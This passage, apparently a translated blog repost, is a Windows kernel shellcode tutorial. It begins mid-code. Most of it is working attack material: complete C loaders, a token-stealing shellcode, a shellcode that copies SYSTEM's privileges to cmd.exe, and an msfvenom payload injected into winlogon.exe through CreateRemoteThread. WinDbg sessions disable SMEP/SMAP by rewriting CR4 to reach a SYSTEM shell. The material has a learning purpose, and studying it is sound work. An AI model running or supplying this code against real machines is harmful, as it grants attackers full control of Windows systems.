}printf("n[HANDLE]n"); PVOID pRemoteAddress = VirtualAllocEx(hProcess, nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (pRemoteAddress == nullptr) {printf("n[ERROR ALLOCATING THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse; }printf("n[BUFFER]n"); SIZE_T BytesWritten = 0;if (!WriteProcessMemory(hProcess, pRemoteAddress, pPayload, 280, nullptr)) {printf("n[ERROR WRITTING THE SHELLCODE INTO THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse; }printf("n[SHELLCODE]n"); HANDLE CreateThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)pRemoteAddress, nullptr, 0, nullptr);if (CreateThread == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE REMOTE THREAD] -> %dn", GetLastError());returnfalse; } WaitForSingleObject(CreateThread, INFINITE); VirtualFreeEx(hProcess, pRemoteAddress, 0x1000, MEM_RELEASE); CloseHandle(hProcess); CloseHandle(CreateThread);returntrue;}intmain(){printf("nAllocating Kernel Shellcode...n");// asignamos el espacio PVOID pShellcode = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlSecureZeroMemory(pShellcode, 0x1000);memcpy(pShellcode, KernelShellcode, 90); VirtualLock(pShellcode, 0x1000);printf("n[SHELLCODE ADDRESS] 0x%pn", pShellcode);printf("nPress <ENTER> to trigger NtCreateTransaction syscalln"); getchar(); CreateTransaction(NULL, 0, 0, 0, 0, 0, NULL);constwchar_t* wcProcess = L"winlogon.exe"; DWORD dwPid = 0; wprintf(L"nPress <ENTER> to inject shellcode (cmd.exe) into %s processn", wcProcess); getchar();if (!ProcessEnum(wcProcess, &dwPid)) {printf("n[main] error enumerating processesn");return1; }if (!RemoteInjection(dwPid)) {printf("n[main] error executing the remote processn");return1; }return0;}
我们在 NtCreateTransaction 上设置一个 BP,检查 shellcode 缓冲区,禁用 SMAP 和 SMEP,设置 rip,单步执行,在 shellcode 的 ret 上设置一个 BP,继续 g,重置 rip,然后继续:
nt!DbgBreakPointWithStatus:fffff801`208203e0 ccint30: kd> bp nt!NtCreateTransaction0: kd> bl0e Disable Clear fffff801`207d2490 0001 (0001) nt!NtCreateTransaction
0: kd> gBreakpoint 0 hitnt!NtCreateTransaction:fffff801`207d2490 4c8b15f90fd7ff mov r10,qword ptr [nt!_imp_NtCreateTransaction (fffff801`20543490)]4: kd> db 280386e000000000280`386e0000 90654c8b04258801-00004d 8b80200200 .eL..%....M.. ..00000280`386e0010 004c89 c1 4d 8b8048-0400004981 e8 4804 .L..M..H...I..H.00000280`386e0020 00004181 b8 a8 0500-0077696e6c75 e5 49 ..A......winlu.I00000280`386e0030 83 e8 304d 8b402849-83 e0 f0 41 c6 40480b ..0M.@(I...A.@H.00000280`386e0040 488b89 b8 04000048-83 e1 f0 c6 81 d4 0000 H......H........00000280`386e0050 000090 c3 00000000-0000000000000000 ................00000280`386e0060 0000000000000000-0000000000000000 ................00000280`386e0070 0000000000000000-0000000000000000 ................4: kd> u280386e0000 L2000000280`386e0000 90 nop00000280`386e0001 654c8b042588010000 mov r8,qword ptr gs:[188h]00000280`386e000a 4d8b8020020000 mov r8,qword ptr [r8+220h]00000280`386e0011 4c89c1 mov rcx,r800000280`386e0014 4d8b8048040000 mov r8,qword ptr [r8+448h]00000280`386e001b 4981e848040000 sub r8,448h00000280`386e0022 4181b8a805000077696e6c cmp dword ptr [r8+5A8h],6C6E6977h00000280`386e002d 75e5 jne 00000280`386e001400000280`386e002f 4983e830 sub r8,30h00000280`386e0033 4d8b4028 mov r8,qword ptr [r8+28h]00000280`386e0037 4983e0f0 and r8,0FFFFFFFFFFFFFFF0h00000280`386e003b 41c640480b mov byte ptr [r8+48h],0Bh00000280`386e0040 488b89b8040000 mov rcx,qword ptr [rcx+4B8h]00000280`386e0047 4883e1f0 and rcx,0FFFFFFFFFFFFFFF0h00000280`386e004b c681d400000000 mov byte ptr [rcx+0D4h],000000280`386e0052 90 nop00000280`386e0053 c3 ret00000280`386e0054 0000add byte ptr [rax],al00000280`386e0056 0000add byte ptr [rax],al00000280`386e0058 0000add byte ptr [rax],al00000280`386e005a 0000add byte ptr [rax],al00000280`386e005c 0000add byte ptr [rax],al00000280`386e005e 0000add byte ptr [rax],al00000280`386e0060 0000add byte ptr [rax],al00000280`386e0062 0000add byte ptr [rax],al00000280`386e0064 0000add byte ptr [rax],al00000280`386e0066 0000add byte ptr [rax],al00000280`386e0068 0000add byte ptr [rax],al00000280`386e006a 0000add byte ptr [rax],al00000280`386e006c 0000add byte ptr [rax],al00000280`386e006e 0000add byte ptr [rax],al00000280`386e0070 0000add byte ptr [rax],al4: kd> .formats cr4Evaluate expression: Hex: 00000000`00b50ef8 Decimal:11865848 Decimal (unsigned) : 11865848 Octal:0000000000000055207370 Binary: 0000000000000000000000000000000000000000101101010000111011111000 Chars: ........ Time: Mon May 1810:04:081970 Float: low 1.66276e-038 high 0 Double: 5.86251e-3174: kd> r cr4=850EF84: kd> r cr4cr4=0000000000850ef84: kd> .formats cr4Evaluate expression: Hex: 00000000`00850ef8 Decimal:8720120 Decimal (unsigned) : 8720120 Octal:0000000000000041207370 Binary: 0000000000000000000000000000000000000000100001010000111011111000 Chars: ........ Time: Sun Apr 1200:15:201970 Float: low 1.22195e-038 high 0 Double: 4.30831e-3174: kd> r riprip=fffff801207d24904: kd> r rip=00000280386e00004: kd> r riprip=00000280386e00004: kd> p00000280`386e0001 654c8b042588010000 mov r8,qword ptr gs:[188h]4: kd> bp00000280`386e00534: kd> gBreakpoint 1 hit00000280`386e0053 c3 ret4: kd> bc 0,14: kd> bl4: kd> r rip=fffff801207d24904: kd> r riprip=fffff801207d24904: kd> g
权限操纵Shellcode
我们要编写的最后一个 shellcode 是关于权限操作的,它基于一个_TOKEN结构体,该结构体有一个名为SEP_TOKEN_PRIVILEGESat offset 的子结构体0x40。
这个想法是:
-
获取cmd.exe _EPROCESS
-
赋予其全部权限
执行如下(这是我通过反复试验建议的):
-
通过 PPID_EPROCESS迭代获取cmd.exe
-
获取_EPROCESS进程system
-
检查system _TOKEN
-
从子结构中获取Presentqword_SEP_TOKEN_PRIVILEGES_TOKEN
-
获取_TOKENcmd.exe
-
将Presentqword粘贴system到PresentEnabledcmd.exe
-
运行创建远程线程的程序winlogon.exe
-
系统外壳
0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ((poi(ffff800e70e5e080+0x4b8) & 0xfffffffffffffff0) + 0x40) +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000
我们从子结构中传递所有三个值,,,Present和Enabled,并将它们粘贴到中。EnabledByDefaultsystemcmd.exe
让我们验证一下权限:
我们都拥有它们。现在如果我们ProcessInjection.exe遇到winlogon.exe,它将导致:
shellcode 如下:
BITS64section .text nop mov r8, qword [gs:0x188] mov r8, qword [r8 + 0x220] mov r10, r8 ; get two _EPROCESS' start addresses (one for cmd and the other for system) mov r9, qword [r8 + 0x540] ; get the cmd.exe PID (InheritedFromUniqueProcessId) GetSystemLoop: mov r10, qword [r10 + 0x448] ; go to the flink sub r10, 0x448 ; go to the _EPROCESS' startpoint cmp qword [r10 + 0x440], 0x04 ; compare the UniqueProcessId with 4 (system PID) jne GetSystemLoop mov r10, [r10 + 0x4b8] ; get the system process _TOKEN structure and r10, 0xfffffffffffffff0 ; get the pointer to the object and not to the fast reference pointer GetCmdLoop: mov r8, qword [r8+0x448] ; go to the flink sub r8, 0x448 ; go to the _EPROCESS' startpoint cmp qword [r8 + 0x440], r9 ; compare the UniqueProcessId cmd.exe's PID jne GetCmdLoop mov r8, [r8 + 0x4b8] ; get the system process _TOKEN structure and r8, 0xfffffffffffffff0 ; get the pointer to the object and not to the fast reference pointer mov r9, qword [r10 + 0x40] ; move the Present parameter from _SEP_TOKEN_PRIVILEGES system process substructure to the same at cmd.exe mov qword [r8 + 0x40], r9 mov r9, qword [r10 + 0x48] ; move the Enabled parameter from _SEP_TOKEN_PRIVILEGES system process substructure to the same at cmd.exe mov qword [r8 + 0x48], r9 mov r9, qword [r10 + 0x50] ; move the EnabledByDefault parameter from _SEP_TOKEN_PRIVILEGES system process substructure to the same at cmd.exe mov qword [r8 + 0x50], r9 retend
该shellcode执行以下操作:
-
获取内核的_KTHREAD结构
-
获取_EPROCESS来源_KTHREAD
-
保存一份_EPROCESS
-
将线程的 PPID(cmd.exe我们的漏洞正在运行)存储在r9
-
循环通过将 PID 与 4 进行比较来system获取_EPROCESS
-
获取system _TOKEN,清除最后4位以获取对象指针而不是快速引用
-
循环通过与 进行比较来cmd.exe获取_EPROCESSr9
-
获取,相同的cmd.exe掩码_TOKEN
-
将三个值:Present、Enabled和EnabledByDefault从system传输到cmd.exe
-
返回
现在像往常一样,我们用编译nasm.exe并查看反汇编ndisasm.exe
#include<stdio.h>#include<windows.h>#include<tlhelp32.h>#include<ktmw32.h>#pragma comment(lib,"KtmW32.lib")// buffer que vamos a asignar para que el kernel lo ejecutechar KernelShellcode[] = {0x90, 0x65, 0x4C, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4D, 0x8B, 0x80, 0x20, 0x02, 0x00, 0x00, 0x4D, 0x89, 0xC2, 0x4D, 0x8B, 0x88, 0x40, 0x05, 0x00, 0x00, 0x4D, 0x8B, 0x92, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xEA, 0x48, 0x04, 0x00, 0x00, 0x49, 0x83, 0xBA, 0x40, 0x04, 0x00, 0x00, 0x04, 0x75, 0xE8, 0x4D, 0x8B, 0x92, 0xB8, 0x04, 0x00, 0x00, 0x49, 0x83, 0xE2, 0xF0, 0x4D, 0x8B, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xE8, 0x48, 0x04, 0x00, 0x00, 0x4D, 0x39, 0x88, 0x40, 0x04, 0x00, 0x00, 0x75, 0xE9, 0x4D, 0x8B, 0x80, 0xB8, 0x04, 0x00, 0x00, 0x49, 0x83, 0xE0, 0xF0, 0x4D, 0x8B, 0x4A, 0x40, 0x4D, 0x89, 0x48, 0x40, 0x4D, 0x8B, 0x4A, 0x48, 0x4D, 0x89, 0x48, 0x48, 0x4D, 0x8B, 0x4A, 0x50, 0x4D, 0x89, 0x48, 0x50, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};// 280 bytes// EXITFUNC=thread// msfvenom -p windows/x64/exec CMD=cmd.exe -f raw EXITFUNC=threadunsignedchar pPayload[] = {0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00,0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2,0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48,0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7,0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C,0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52,0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01,0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49,0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34,0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0,0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1,0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0,0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41,0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF,0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00,0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0,0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80,0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x6D, 0x64,0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};boolProcessEnum(constwchar_t* wcProcess, DWORD* ProcId){ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) {printf("n[ERROR GETTING "hSnapshot"] -> %dn", GetLastError());returnfalse; } PROCESSENTRY32W ProcEntry = { 0 }; ProcEntry.dwSize = sizeof(PROCESSENTRY32W);if (!Process32FirstW(hSnapshot, &ProcEntry)) {printf("n[ERROR at "Process32FirstW"] -> %dn", GetLastError());returnfalse; }do {if (lstrcmpW(ProcEntry.szExeFile, wcProcess) == 0) { wprintf(L"n[+] Process found -> "%s"nt\__PID -> %dn", ProcEntry.szExeFile, ProcEntry.th32ProcessID); *ProcId = ProcEntry.th32ProcessID;break; } } while (Process32NextW(hSnapshot, &ProcEntry));returntrue;}boolRemoteInjection(DWORD dwPid){ HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);if (hProcess == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE HANDLE TO THE PROCESS] -> %dn", GetLastError());returnfalse; }printf("n[HANDLE]n"); PVOID pRemoteAddress = VirtualAllocEx(hProcess, nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (pRemoteAddress == nullptr) {printf("n[ERROR ALLOCATING THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse; }printf("n[BUFFER]n"); SIZE_T BytesWritten = 0;if (!WriteProcessMemory(hProcess, pRemoteAddress, pPayload, 280, nullptr)) {printf("n[ERROR WRITTING THE SHELLCODE INTO THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse; }printf("n[SHELLCODE]n"); HANDLE CreateThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)pRemoteAddress, nullptr, 0, nullptr);if (CreateThread == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE REMOTE THREAD] -> %dn", GetLastError());returnfalse; } WaitForSingleObject(CreateThread, INFINITE); VirtualFreeEx(hProcess, pRemoteAddress, 0x1000, MEM_RELEASE); CloseHandle(hProcess); CloseHandle(CreateThread);returntrue;}intmain(){printf("nAllocating Kernel Shellcode...n");// asignamos el espacio PVOID pShellcode = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlSecureZeroMemory(pShellcode, 0x1000);memcpy(pShellcode, KernelShellcode, 130); VirtualLock(pShellcode, 0x1000);printf("n[SHELLCODE ADDRESS] 0x%pn", pShellcode);printf("nPress <ENTER> to trigger NtCreateTransaction syscalln"); getchar(); CreateTransaction(NULL, 0, 0, 0, 0, 0, NULL);constwchar_t* wcProcess = L"winlogon.exe"; DWORD dwPid = 0; wprintf(L"nPress <ENTER> to inject shellcode (winlogon.exe) into %s processn", wcProcess); getchar();if (!ProcessEnum(wcProcess, &dwPid)) {printf("n[main] error enumerating processesn");return1; }if (!RemoteInjection(dwPid)) {printf("n[main] error executing the remote processn");return1; }return0;}
我们设置一个断点NtCreateTransaction,并用程序触发它。一旦程序停止,我们就会检查用户shellcode缓冲区。
然后我们禁用SMEP和SMAP,并改变rip位置
现在我们在shellcode的指令bp上设置一个ret我们重新定位rip,这样就可以了
第一次执行乍一看是失败的,但是,如果我们检查一下我们拥有的权限……
如果我们再次运行该程序:
我们成功获得了系统shell
您可以在我的 GitHub 仓库Windows Kernel Shellcode上查看代码
https://github.com/r0keb/Windows-Kernel-Shellcode
早上好,如果我没见到你,那么祝你下午好、晚上好、晚安
原文始发于微信公众号(Ots安全):Windows内核Shellcode
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论